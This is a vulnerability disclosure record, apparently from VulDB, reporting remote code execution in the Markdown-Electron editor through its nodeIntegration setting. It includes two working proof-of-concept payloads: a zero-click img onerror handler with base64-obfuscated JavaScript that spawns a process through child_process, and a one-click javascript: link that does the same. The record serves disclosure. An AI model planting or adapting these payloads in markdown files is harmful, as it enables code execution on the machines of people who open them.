| タイトル | Incorrect electron configuration causes RCE |
|---|
| 説明 | nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE).
EXP
# 0 click
<img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'>
# 1 click
<a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a>
For more details, please click the announcement. |
|---|
| ソース | ⚠️ https://github.com/JP1016/Markdown-Electron/issues/3 |
|---|
| ユーザー | Tom23 (UID 41413) |
|---|
| 送信 | 2023年02月20日 13:17 (4 年 ago) |
|---|
| モデレーション | 2023年02月24日 09:00 (4 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 221738 [JP1016 Markdown-Electron 特権昇格] |
|---|
| ポイント | 20 |
|---|